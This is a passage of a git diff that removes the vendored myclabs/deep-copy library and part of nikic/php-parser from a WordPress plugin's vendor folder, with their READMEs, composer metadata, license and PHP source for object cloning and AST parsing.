DeepCopy\DeepCopy; -use DeepCopy\Filter\ReplaceFilter; -use DeepCopy\Matcher\PropertyMatcher; - -$copier = new DeepCopy(); -$callback = function ($currentValue) { - return $currentValue . ' (copy)' -}; -$copier->addFilter(new ReplaceFilter($callback), new PropertyMatcher('MyClass', 'title')); - -$copy = $copier->copy($object); - -// $copy->title will contain the data returned by the callback, e.g. 'The title (copy)' -``` - -2. If you want to replace whole element: - -```php -use DeepCopy\DeepCopy; -use DeepCopy\TypeFilter\ReplaceFilter; -use DeepCopy\TypeMatcher\TypeMatcher; - -$copier = new DeepCopy(); -$callback = function (MyClass $myClass) { - return get_class($myClass); -}; -$copier->addTypeFilter(new ReplaceFilter($callback), new TypeMatcher('MyClass')); - -$copy = $copier->copy([new MyClass, 'some string', new MyClass]); - -// $copy will contain ['MyClass', 'some string', 'MyClass'] -``` - - -The `$callback` parameter of the `ReplaceFilter` constructor accepts any PHP callable. - - -#### `ShallowCopyFilter` (type filter) - -Stop *DeepCopy* from recursively copying element, using standard `clone` instead: - -```php -use DeepCopy\DeepCopy; -use DeepCopy\TypeFilter\ShallowCopyFilter; -use DeepCopy\TypeMatcher\TypeMatcher; -use Mockery as m; - -$this->deepCopy = new DeepCopy(); -$this->deepCopy->addTypeFilter( - new ShallowCopyFilter, - new TypeMatcher(m\MockInterface::class) -); - -$myServiceWithMocks = new MyService(m::mock(MyDependency1::class), m::mock(MyDependency2::class)); -// All mocks will be just cloned, not deep copied -``` - - -## Edge cases - -The following structures cannot be deep-copied with PHP Reflection. As a result they are shallow cloned and filters are -not applied. There is two ways for you to handle them: - -- Implement your own `__clone()` method -- Use a filter with a type matcher - - -## Contributing - -DeepCopy is distributed under the MIT license. - - -### Tests - -Running the tests is simple: - -```php -vendor/bin/phpunit -``` - -### Support - -Get professional support via [the Tidelift Subscription](https://tidelift.com/subscription/pkg/packagist-myclabs-deep-copy?utm_source=packagist-myclabs-deep-copy&utm_medium=referral&utm_campaign=readme). diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/composer.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/composer.json deleted file mode 100644 index f115fff8..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/composer.json +++ /dev/null @@ -1,43 +0,0 @@ -{ - "name": "myclabs/deep-copy", - "description": "Create deep copies (clones) of your objects", - "license": "MIT", - "type": "library", - "keywords": [ - "clone", - "copy", - "duplicate", - "object", - "object graph" - ], - "require": { - "php": "^7.1 || ^8.0" - }, - "require-dev": { - "doctrine/collections": "^1.6.8", - "doctrine/common": "^2.13.3 || ^3.2.2", - "phpspec/prophecy": "^1.10", - "phpunit/phpunit": "^7.5.20 || ^8.5.23 || ^9.5.13" - }, - "conflict": { - "doctrine/collections": "<1.6.8", - "doctrine/common": "<2.13.3 || >=3 <3.2.2" - }, - "autoload": { - "psr-4": { - "DeepCopy\\": "src/DeepCopy/" - }, - "files": [ - "src/DeepCopy/deep_copy.php" - ] - }, - "autoload-dev": { - "psr-4": { - "DeepCopyTest\\": "tests/DeepCopyTest/", - "DeepCopy\\": "fixtures/" - } - }, - "config": { - "sort-packages": true - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/src/DeepCopy/DeepCopy.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/src/DeepCopy/DeepCopy.php deleted file mode 100644 index cc82df6f..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/src/DeepCopy/DeepCopy.php +++ /dev/null @@ -1,324 +0,0 @@ - Filter, 'matcher' => Matcher] pairs. - */ - private $filters = []; - - /** - * Type Filters to apply. - * - * @var array Array of ['filter' => Filter, 'matcher' => Matcher] pairs. - */ - private $typeFilters = []; - - /** - * @var bool - */ - private $skipUncloneable = false; - - /** - * @var bool - */ - private $useCloneMethod; - - /** - * @param bool $useCloneMethod If set to true, when an object implements the __clone() function, it will be used - * instead of the regular deep cloning. - */ - public function __construct($useCloneMethod = false) - { - $this->useCloneMethod = $useCloneMethod; - - $this->addTypeFilter(new ArrayObjectFilter($this), new TypeMatcher(ArrayObject::class)); - $this->addTypeFilter(new DateIntervalFilter(), new TypeMatcher(DateInterval::class)); - $this->addTypeFilter(new DatePeriodFilter(), new TypeMatcher(DatePeriod::class)); - $this->addTypeFilter(new SplDoublyLinkedListFilter($this), new TypeMatcher(SplDoublyLinkedList::class)); - } - - /** - * If enabled, will not throw an exception when coming across an uncloneable property. - * - * @param $skipUncloneable - * - * @return $this - */ - public function skipUncloneable($skipUncloneable = true) - { - $this->skipUncloneable = $skipUncloneable; - - return $this; - } - - /** - * Deep copies the given object. - * - * @param mixed $object - * - * @return mixed - */ - public function copy($object) - { - $this->hashMap = []; - - return $this->recursiveCopy($object); - } - - public function addFilter(Filter $filter, Matcher $matcher) - { - $this->filters[] = [ - 'matcher' => $matcher, - 'filter' => $filter, - ]; - } - - public function prependFilter(Filter $filter, Matcher $matcher) - { - array_unshift($this->filters, [ - 'matcher' => $matcher, - 'filter' => $filter, - ]); - } - - public function addTypeFilter(TypeFilter $filter, TypeMatcher $matcher) - { - $this->typeFilters[] = [ - 'matcher' => $matcher, - 'filter' => $filter, - ]; - } - - public function prependTypeFilter(TypeFilter $filter, TypeMatcher $matcher) - { - array_unshift($this->typeFilters, [ - 'matcher' => $matcher, - 'filter' => $filter, - ]); - } - - private function recursiveCopy($var) - { - // Matches Type Filter - if ($filter = $this->getFirstMatchedTypeFilter($this->typeFilters, $var)) { - return $filter->apply($var); - } - - // Resource - if (is_resource($var)) { - return $var; - } - - // Array - if (is_array($var)) { - return $this->copyArray($var); - } - - // Scalar - if (! is_object($var)) { - return $var; - } - - // Enum - if (PHP_VERSION_ID >= 80100 && enum_exists(get_class($var))) { - return $var; - } - - // Object - return $this->copyObject($var); - } - - /** - * Copy an array - * @param array $array - * @return array - */ - private function copyArray(array $array) - { - foreach ($array as $key => $value) { - $array[$key] = $this->recursiveCopy($value); - } - - return $array; - } - - /** - * Copies an object. - * - * @param object $object - * - * @throws CloneException - * - * @return object - */ - private function copyObject($object) - { - $objectHash = spl_object_hash($object); - - if (isset($this->hashMap[$objectHash])) { - return $this->hashMap[$objectHash]; - } - - $reflectedObject = new ReflectionObject($object); - $isCloneable = $reflectedObject->isCloneable(); - - if (false === $isCloneable) { - if ($this->skipUncloneable) { - $this->hashMap[$objectHash] = $object; - - return $object; - } - - throw new CloneException( - sprintf( - 'The class "%s" is not cloneable.', - $reflectedObject->getName() - ) - ); - } - - $newObject = clone $object; - $this->hashMap[$objectHash] = $newObject; - - if ($this->useCloneMethod && $reflectedObject->hasMethod('__clone')) { - return $newObject; - } - - if ($newObject instanceof DateTimeInterface || $newObject instanceof DateTimeZone) { - return $newObject; - } - - foreach (ReflectionHelper::getProperties($reflectedObject) as $property) { - $this->copyObjectProperty($newObject, $property); - } - - return $newObject; - } - - private function copyObjectProperty($object, ReflectionProperty $property) - { - // Ignore static properties - if ($property->isStatic()) { - return; - } - - // Ignore readonly properties - if (method_exists($property, 'isReadOnly') && $property->isReadOnly()) { - return; - } - - // Apply the filters - foreach ($this->filters as $item) { - /** @var Matcher $matcher */ - $matcher = $item['matcher']; - /** @var Filter $filter */ - $filter = $item['filter']; - - if ($matcher->matches($object, $property->getName())) { - $filter->apply( - $object, - $property->getName(), - function ($object) { - return $this->recursiveCopy($object); - } - ); - - if ($filter instanceof ChainableFilter) { - continue; - } - - // If a filter matches, we stop processing this property - return; - } - } - - $property->setAccessible(true); - - // Ignore uninitialized properties (for PHP >7.4) - if (method_exists($property, 'isInitialized') && !$property->isInitialized($object)) { - return; - } - - $propertyValue = $property->getValue($object); - - // Copy the property - $property->setValue($object, $this->recursiveCopy($propertyValue)); - } - - /** - * Returns first filter that matches variable, `null` if no such filter found. - * - * @param array $filterRecords Associative array with 2 members: 'filter' with value of type {@see TypeFilter} and - * 'matcher' with value of type {@see TypeMatcher} - * @param mixed $var - * - * @return TypeFilter|null - */ - private function getFirstMatchedTypeFilter(array $filterRecords, $var) - { - $matched = $this->first( - $filterRecords, - function (array $record) use ($var) { - /* @var TypeMatcher $matcher */ - $matcher = $record['matcher']; - - return $matcher->matches($var); - } - ); - - return isset($matched) ? $matched['filter'] : null; - } - - /** - * Returns first element that matches predicate, `null` if no such element found. - * - * @param array $elements Array of ['filter' => Filter, 'matcher' => Matcher] pairs. - * @param callable $predicate Predicate arguments are: element. - * - * @return array|null Associative array with 2 members: 'filter' with value of type {@see TypeFilter} and 'matcher' - * with value of type {@see TypeMatcher} or `null`. - */ - private function first(array $elements, callable $predicate) - { - foreach ($elements as $element) { - if (call_user_func($predicate, $element)) { - return $element; - } - } - - return null; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/src/DeepCopy/Exception/CloneException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/src/DeepCopy/Exception/CloneException.php deleted file mode 100644 index c046706a..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/src/DeepCopy/Exception/CloneException.php +++ /dev/null @@ -1,9 +0,0 @@ -filter = $filter; - } - - public function apply($object, $property, $objectCopier) - { - $this->filter->apply($object, $property, $objectCopier); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/src/DeepCopy/Filter/Doctrine/DoctrineCollectionFilter.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/src/DeepCopy/Filter/Doctrine/DoctrineCollectionFilter.php deleted file mode 100644 index e6d93771..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/src/DeepCopy/Filter/Doctrine/DoctrineCollectionFilter.php +++ /dev/null @@ -1,33 +0,0 @@ -setAccessible(true); - $oldCollection = $reflectionProperty->getValue($object); - - $newCollection = $oldCollection->map( - function ($item) use ($objectCopier) { - return $objectCopier($item); - } - ); - - $reflectionProperty->setValue($object, $newCollection); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/src/DeepCopy/Filter/Doctrine/DoctrineEmptyCollectionFilter.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/src/DeepCopy/Filter/Doctrine/DoctrineEmptyCollectionFilter.php deleted file mode 100644 index 7b33fd54..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/src/DeepCopy/Filter/Doctrine/DoctrineEmptyCollectionFilter.php +++ /dev/null @@ -1,28 +0,0 @@ -setAccessible(true); - - $reflectionProperty->setValue($object, new ArrayCollection()); - } -} \ No newline at end of file diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/src/DeepCopy/Filter/Doctrine/DoctrineProxyFilter.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/src/DeepCopy/Filter/Doctrine/DoctrineProxyFilter.php deleted file mode 100644 index 8bee8f76..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/src/DeepCopy/Filter/Doctrine/DoctrineProxyFilter.php +++ /dev/null @@ -1,22 +0,0 @@ -__load(); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/src/DeepCopy/Filter/Filter.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/src/DeepCopy/Filter/Filter.php deleted file mode 100644 index 85ba18ce..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/src/DeepCopy/Filter/Filter.php +++ /dev/null @@ -1,18 +0,0 @@ -callback = $callable; - } - - /** - * Replaces the object property by the result of the callback called with the object property. - * - * {@inheritdoc} - */ - public function apply($object, $property, $objectCopier) - { - $reflectionProperty = ReflectionHelper::getProperty($object, $property); - $reflectionProperty->setAccessible(true); - - $value = call_user_func($this->callback, $reflectionProperty->getValue($object)); - - $reflectionProperty->setValue($object, $value); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/src/DeepCopy/Filter/SetNullFilter.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/src/DeepCopy/Filter/SetNullFilter.php deleted file mode 100644 index bea86b88..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/src/DeepCopy/Filter/SetNullFilter.php +++ /dev/null @@ -1,24 +0,0 @@ -setAccessible(true); - $reflectionProperty->setValue($object, null); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/src/DeepCopy/Matcher/Doctrine/DoctrineProxyMatcher.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/src/DeepCopy/Matcher/Doctrine/DoctrineProxyMatcher.php deleted file mode 100644 index c5887b19..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/src/DeepCopy/Matcher/Doctrine/DoctrineProxyMatcher.php +++ /dev/null @@ -1,22 +0,0 @@ -class = $class; - $this->property = $property; - } - - /** - * Matches a specific property of a specific class. - * - * {@inheritdoc} - */ - public function matches($object, $property) - { - return ($object instanceof $this->class) && $property == $this->property; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/src/DeepCopy/Matcher/PropertyNameMatcher.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/src/DeepCopy/Matcher/PropertyNameMatcher.php deleted file mode 100644 index c8ec0d2b..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/src/DeepCopy/Matcher/PropertyNameMatcher.php +++ /dev/null @@ -1,32 +0,0 @@ -property = $property; - } - - /** - * Matches a property by its name. - * - * {@inheritdoc} - */ - public function matches($object, $property) - { - return $property == $this->property; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/src/DeepCopy/Matcher/PropertyTypeMatcher.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/src/DeepCopy/Matcher/PropertyTypeMatcher.php deleted file mode 100644 index c7f46908..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/src/DeepCopy/Matcher/PropertyTypeMatcher.php +++ /dev/null @@ -1,52 +0,0 @@ -propertyType = $propertyType; - } - - /** - * {@inheritdoc} - */ - public function matches($object, $property) - { - try { - $reflectionProperty = ReflectionHelper::getProperty($object, $property); - } catch (ReflectionException $exception) { - return false; - } - - $reflectionProperty->setAccessible(true); - - // Uninitialized properties (for PHP >7.4) - if (method_exists($reflectionProperty, 'isInitialized') && !$reflectionProperty->isInitialized($object)) { - // null instanceof $this->propertyType - return false; - } - - return $reflectionProperty->getValue($object) instanceof $this->propertyType; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/src/DeepCopy/Reflection/ReflectionHelper.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/src/DeepCopy/Reflection/ReflectionHelper.php deleted file mode 100644 index 742410cb..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/src/DeepCopy/Reflection/ReflectionHelper.php +++ /dev/null @@ -1,78 +0,0 @@ -getProperties() does not return private properties from ancestor classes. - * - * @author muratyaman@gmail.com - * @see http://php.net/manual/en/reflectionclass.getproperties.php - * - * @param ReflectionClass $ref - * - * @return ReflectionProperty[] - */ - public static function getProperties(ReflectionClass $ref) - { - $props = $ref->getProperties(); - $propsArr = array(); - - foreach ($props as $prop) { - $propertyName = $prop->getName(); - $propsArr[$propertyName] = $prop; - } - - if ($parentClass = $ref->getParentClass()) { - $parentPropsArr = self::getProperties($parentClass); - foreach ($propsArr as $key => $property) { - $parentPropsArr[$key] = $property; - } - - return $parentPropsArr; - } - - return $propsArr; - } - - /** - * Retrieves property by name from object and all its ancestors. - * - * @param object|string $object - * @param string $name - * - * @throws PropertyException - * @throws ReflectionException - * - * @return ReflectionProperty - */ - public static function getProperty($object, $name) - { - $reflection = is_object($object) ? new ReflectionObject($object) : new ReflectionClass($object); - - if ($reflection->hasProperty($name)) { - return $reflection->getProperty($name); - } - - if ($parentClass = $reflection->getParentClass()) { - return self::getProperty($parentClass->getName(), $name); - } - - throw new PropertyException( - sprintf( - 'The class "%s" doesn\'t have a property with the given name: "%s".', - is_object($object) ? get_class($object) : $object, - $name - ) - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/src/DeepCopy/TypeFilter/Date/DateIntervalFilter.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/src/DeepCopy/TypeFilter/Date/DateIntervalFilter.php deleted file mode 100644 index becd1cff..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/src/DeepCopy/TypeFilter/Date/DateIntervalFilter.php +++ /dev/null @@ -1,33 +0,0 @@ - $propertyValue) { - $copy->{$propertyName} = $propertyValue; - } - - return $copy; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/src/DeepCopy/TypeFilter/Date/DatePeriodFilter.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/src/DeepCopy/TypeFilter/Date/DatePeriodFilter.php deleted file mode 100644 index 6bd2f7e5..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/src/DeepCopy/TypeFilter/Date/DatePeriodFilter.php +++ /dev/null @@ -1,42 +0,0 @@ -= 80200 && $element->include_end_date) { - $options |= DatePeriod::INCLUDE_END_DATE; - } - if (!$element->include_start_date) { - $options |= DatePeriod::EXCLUDE_START_DATE; - } - - if ($element->getEndDate()) { - return new DatePeriod($element->getStartDate(), $element->getDateInterval(), $element->getEndDate(), $options); - } - - if (PHP_VERSION_ID >= 70217) { - $recurrences = $element->getRecurrences(); - } else { - $recurrences = $element->recurrences - $element->include_start_date; - } - - return new DatePeriod($element->getStartDate(), $element->getDateInterval(), $recurrences, $options); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/src/DeepCopy/TypeFilter/ReplaceFilter.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/src/DeepCopy/TypeFilter/ReplaceFilter.php deleted file mode 100644 index 164f8b8e..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/src/DeepCopy/TypeFilter/ReplaceFilter.php +++ /dev/null @@ -1,30 +0,0 @@ -callback = $callable; - } - - /** - * {@inheritdoc} - */ - public function apply($element) - { - return call_user_func($this->callback, $element); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/src/DeepCopy/TypeFilter/ShallowCopyFilter.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/src/DeepCopy/TypeFilter/ShallowCopyFilter.php deleted file mode 100644 index a5fbd7a2..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/src/DeepCopy/TypeFilter/ShallowCopyFilter.php +++ /dev/null @@ -1,17 +0,0 @@ -copier = $copier; - } - - /** - * {@inheritdoc} - */ - public function apply($arrayObject) - { - $clone = clone $arrayObject; - foreach ($arrayObject->getArrayCopy() as $k => $v) { - $clone->offsetSet($k, $this->copier->copy($v)); - } - - return $clone; - } -} - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/src/DeepCopy/TypeFilter/Spl/SplDoublyLinkedList.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/src/DeepCopy/TypeFilter/Spl/SplDoublyLinkedList.php deleted file mode 100644 index c5644cff..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/src/DeepCopy/TypeFilter/Spl/SplDoublyLinkedList.php +++ /dev/null @@ -1,10 +0,0 @@ -copier = $copier; - } - - /** - * {@inheritdoc} - */ - public function apply($element) - { - $newElement = clone $element; - - $copy = $this->createCopyClosure(); - - return $copy($newElement); - } - - private function createCopyClosure() - { - $copier = $this->copier; - - $copy = function (SplDoublyLinkedList $list) use ($copier) { - // Replace each element in the list with a deep copy of itself - for ($i = 1; $i <= $list->count(); $i++) { - $copy = $copier->recursiveCopy($list->shift()); - - $list->push($copy); - } - - return $list; - }; - - return Closure::bind($copy, null, DeepCopy::class); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/src/DeepCopy/TypeFilter/TypeFilter.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/src/DeepCopy/TypeFilter/TypeFilter.php deleted file mode 100644 index 5785a7da..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/src/DeepCopy/TypeFilter/TypeFilter.php +++ /dev/null @@ -1,13 +0,0 @@ -type = $type; - } - - /** - * @param mixed $element - * - * @return boolean - */ - public function matches($element) - { - return is_object($element) ? is_a($element, $this->type) : gettype($element) === $this->type; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/src/DeepCopy/deep_copy.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/src/DeepCopy/deep_copy.php deleted file mode 100644 index 55dcc926..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/src/DeepCopy/deep_copy.php +++ /dev/null @@ -1,20 +0,0 @@ -copy($value); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/LICENSE b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/LICENSE deleted file mode 100644 index 2e567183..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/LICENSE +++ /dev/null @@ -1,29 +0,0 @@ -BSD 3-Clause License - -Copyright (c) 2011, Nikita Popov -All rights reserved. - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions are met: - -1. Redistributions of source code must retain the above copyright notice, this - list of conditions and the following disclaimer. - -2. Redistributions in binary form must reproduce the above copyright notice, - this list of conditions and the following disclaimer in the documentation - and/or other materials provided with the distribution. - -3. Neither the name of the copyright holder nor the names of its - contributors may be used to endorse or promote products derived from - this software without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" -AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE -IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE -DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE -FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL -DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR -SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER -CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, -OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/README.md b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/README.md deleted file mode 100644 index edb3ed32..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/README.md +++ /dev/null @@ -1,233 +0,0 @@ -PHP Parser -========== - -[![Coverage Status](https://coveralls.io/repos/github/nikic/PHP-Parser/badge.svg?branch=master)](https://coveralls.io/github/nikic/PHP-Parser?branch=master) - -This is a PHP parser written in PHP. Its purpose is to simplify static code analysis and -manipulation. - -[**Documentation for version 5.x**][doc_master] (current; for running on PHP >= 7.4; for parsing PHP 7.0 to PHP 8.4, with limited support for parsing PHP 5.x). - -[Documentation for version 4.x][doc_4_x] (supported; for running on PHP >= 7.0; for parsing PHP 5.2 to PHP 8.3). - -Features --------- - -The main features provided by this library are: - - * Parsing PHP 7, and PHP 8 code into an abstract syntax tree (AST). - * Invalid code can be parsed into a partial AST. - * The AST contains accurate location information. - * Dumping the AST in human-readable form. - * Converting an AST back to PHP code. - * Formatting can be preserved for partially changed ASTs. - * Infrastructure to traverse and modify ASTs. - * Resolution of namespaced names. - * Evaluation of constant expressions. - * Builders to simplify AST construction for code generation. - * Converting an AST into JSON and back. - -Quick Start ------------ - -Install the library using [composer](https://getcomposer.org): - - php composer.phar require nikic/php-parser - -Parse some PHP code into an AST and dump the result in human-readable form: - -```php -createForNewestSupportedVersion(); -try { - $ast = $parser->parse($code); -} catch (Error $error) { - echo "Parse error: {$error->getMessage()}\n"; - return; -} - -$dumper = new NodeDumper; -echo $dumper->dump($ast) . "\n"; -``` - -This dumps an AST looking something like this: - -``` -array( - 0: Stmt_Function( - attrGroups: array( - ) - byRef: false - name: Identifier( - name: test - ) - params: array( - 0: Param( - attrGroups: array( - ) - flags: 0 - type: null - byRef: false - variadic: false - var: Expr_Variable( - name: foo - ) - default: null - ) - ) - returnType: null - stmts: array( - 0: Stmt_Expression( - expr: Expr_FuncCall( - name: Name( - name: var_dump - ) - args: array( - 0: Arg( - name: null - value: Expr_Variable( - name: foo - ) - byRef: false - unpack: false - ) - ) - ) - ) - ) - ) -) -``` - -Let's traverse the AST and perform some kind of modification. For example, drop all function bodies: - -```php -use PhpParser\Node; -use PhpParser\Node\Stmt\Function_; -use PhpParser\NodeTraverser; -use PhpParser\NodeVisitorAbstract; - -$traverser = new NodeTraverser(); -$traverser->addVisitor(new class extends NodeVisitorAbstract { - public function enterNode(Node $node) { - if ($node instanceof Function_) { - // Clean out the function body - $node->stmts = []; - } - } -}); - -$ast = $traverser->traverse($ast); -echo $dumper->dump($ast) . "\n"; -``` - -This gives us an AST where the `Function_::$stmts` are empty: - -``` -array( - 0: Stmt_Function( - attrGroups: array( - ) - byRef: false - name: Identifier( - name: test - ) - params: array( - 0: Param( - attrGroups: array( - ) - type: null - byRef: false - variadic: false - var: Expr_Variable( - name: foo - ) - default: null - ) - ) - returnType: null - stmts: array( - ) - ) -) -``` - -Finally, we can convert the new AST back to PHP code: - -```php -use PhpParser\PrettyPrinter; - -$prettyPrinter = new PrettyPrinter\Standard; -echo $prettyPrinter->prettyPrintFile($ast); -``` - -This gives us our original code, minus the `var_dump()` call inside the function: - -```php -createForVersion($attributes['version']); -$dumper = new PhpParser\NodeDumper([ - 'dumpComments' => true, - 'dumpPositions' => $attributes['with-positions'], -]); -$prettyPrinter = new PhpParser\PrettyPrinter\Standard; - -$traverser = new PhpParser\NodeTraverser(); -$traverser->addVisitor(new PhpParser\NodeVisitor\NameResolver); - -foreach ($files as $file) { - if ($file === '-') { - $code = file_get_contents('php://stdin'); - fwrite(STDERR, "====> Stdin:\n"); - } else if (strpos($file, ' Code $code\n"); - } else { - if (!file_exists($file)) { - fwrite(STDERR, "File $file does not exist.\n"); - exit(1); - } - - $code = file_get_contents($file); - fwrite(STDERR, "====> File $file:\n"); - } - - if ($attributes['with-recovery']) { - $errorHandler = new PhpParser\ErrorHandler\Collecting; - $stmts = $parser->parse($code, $errorHandler); - foreach ($errorHandler->getErrors() as $error) { - $message = formatErrorMessage($error, $code, $attributes['with-column-info']); - fwrite(STDERR, $message . "\n"); - } - if (null === $stmts) { - continue; - } - } else { - try { - $stmts = $parser->parse($code); - } catch (PhpParser\Error $error) { - $message = formatErrorMessage($error, $code, $attributes['with-column-info']); - fwrite(STDERR, $message . "\n"); - exit(1); - } - } - - foreach ($operations as $operation) { - if ('dump' === $operation) { - fwrite(STDERR, "==> Node dump:\n"); - echo $dumper->dump($stmts, $code), "\n"; - } elseif ('pretty-print' === $operation) { - fwrite(STDERR, "==> Pretty print:\n"); - echo $prettyPrinter->prettyPrintFile($stmts), "\n"; - } elseif ('json-dump' === $operation) { - fwrite(STDERR, "==> JSON dump:\n"); - echo json_encode($stmts, JSON_PRETTY_PRINT), "\n"; - } elseif ('var-dump' === $operation) { - fwrite(STDERR, "==> var_dump():\n"); - var_dump($stmts); - } elseif ('resolve-names' === $operation) { - fwrite(STDERR, "==> Resolved names.\n"); - $stmts = $traverser->traverse($stmts); - } - } -} - -function formatErrorMessage(PhpParser\Error $e, $code, $withColumnInfo) { - if ($withColumnInfo && 